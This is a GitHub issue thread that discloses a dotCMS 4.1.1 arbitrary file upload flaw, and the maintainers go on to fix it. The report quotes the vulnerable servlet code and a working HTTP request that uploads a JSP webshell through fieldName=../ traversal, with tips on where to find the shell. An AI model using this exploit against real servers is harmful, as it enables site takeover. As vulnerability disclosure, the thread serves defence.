Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

/assets directory accessible via web request #12131

Closed
kimiizhang opened this issue Jul 18, 2017 · 5 comments
Closed

/assets directory accessible via web request #12131

kimiizhang opened this issue Jul 18, 2017 · 5 comments

Comments

@kimiizhang
Copy link

kimiizhang commented Jul 18, 2017

==========================
Author: M3@pandas From DBAppSecurity Security Lab
Affected Version: 4.1.1 the latest version

Vulnerable cgi:
/dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:

private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
    throws IOException
  {
    String fieldName = null;
    AjaxFileUploadListener listener = null;
    try
    {
      String fileName = "";
      
      listener = new AjaxFileUploadListener(request.getContentLength());
      FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
      fieldName = request.getParameter("fieldName");
      Enumeration params = request.getParameterNames();
      session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
      ServletFileUpload upload = new ServletFileUpload(factory);
      
      List items = upload.parseRequest(request);
      boolean hasError = false;
      this.isEmptyFile = false;
      
      String userId = null;
      if (UtilMethods.isSet(session.getAttribute("USER_ID")))
      {
        userId = (String)session.getAttribute("USER_ID");
        User user = UserLocalManagerUtil.getUserById(userId);
        if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
          throw new Exception("Could not upload File. Invalid User");
        }
      }
      else
      {
        throw new Exception("Could not upload File. Invalid User");
      }
      for (Iterator i = items.iterator(); i.hasNext();)
      {
        FileItem fileItem = (FileItem)i.next();
        if (!fileItem.isFormField())
        {
          if (fileItem.getSize() == 0L) {
            this.isEmptyFile = true;
          }
          if (fileItem.getName().contains(File.separator)) {
            fileName = fileItem.getName().substring(fileItem
              .getName().lastIndexOf(File.separator) + 1);
          } else {
            fileName = fileItem.getName();
          }
          fileName = ContentletUtil.sanitizeFileName(fileName);
          
          File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
          if (!isValidPath(tempUserFolder.getCanonicalPath())) {
            throw new IOException("Invalid fileName or Path");
          }
          if (!tempUserFolder.exists()) {
            tempUserFolder.mkdirs();
          }
          File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
          if (dest.exists()) {
            dest.delete();
          }
          fileItem.write(dest);
          fileItem.delete();
        }
      }
      if (this.isEmptyFile) {
        fileName = "";
      }
      if (!hasError) {
        sendCompleteResponse(response, null);
      } else {
        sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
      }
    }
    catch (Exception e)
    {
      listener.error("error");
      session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
      sendCompleteResponse(response, e.getMessage());
      e.printStackTrace();
    }
  }

tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.

==========================
POC && EXP

  1. Login as administrator

  2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
    Host: 192.168.1.204:8080
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=--------1234995635
    Cookie: your own cookies
    Connection: close
    Content-Length: 138

    ----------1234995635
    Content-Disposition: form-data; name="xxx"; filename="test.jsp"

    <% out.print("test_for_fun!");%>
    ----------1234995635--

  3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp

Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .

@wezell
Copy link
Contributor

wezell commented Jul 18, 2017

While this could be tighter, the /assets directory is a disallowed path in dotcms and no file can be served from that path unless it is circumvented:

https://github.com/dotCMS/core/blob/master/dotCMS/src/main/java/com/dotmarketing/filters/CMSFilter.java#L121-L124

This means that

http://192.168.1.204:8080/assets/tmp_upload/test.jsp

cannot be accessed via a web request.

Please comment if this is incorrect.

@wezell wezell closed this as completed Jul 18, 2017
@kimiizhang
Copy link
Author

@wezell I think you got something wrong ! I just tested your demo site, show you my jsp file:
https://demo.dotcms.com/assets/tmp_upload/dotcms.org.1/test.jsp

image

@wezell
Copy link
Contributor

wezell commented Jul 18, 2017

@kimiizhang thank you for proving me wrong! That path should not be allowed and we will take a look at it.

@wezell wezell reopened this Jul 18, 2017
wezell added a commit that referenced this issue Jul 18, 2017
@wezell wezell changed the title DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability /assets directory accessible via web request Jul 18, 2017
wezell added a commit that referenced this issue Jul 19, 2017
jgambarios pushed a commit that referenced this issue Jul 25, 2017
* #12131 fixes arbitrary upload

* #12131 fixes jenkins feedback
@jgambarios
Copy link
Contributor

PR: #12134

@bryanboza
Copy link
Contributor

Unable to reproduce in the last master...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

5 participants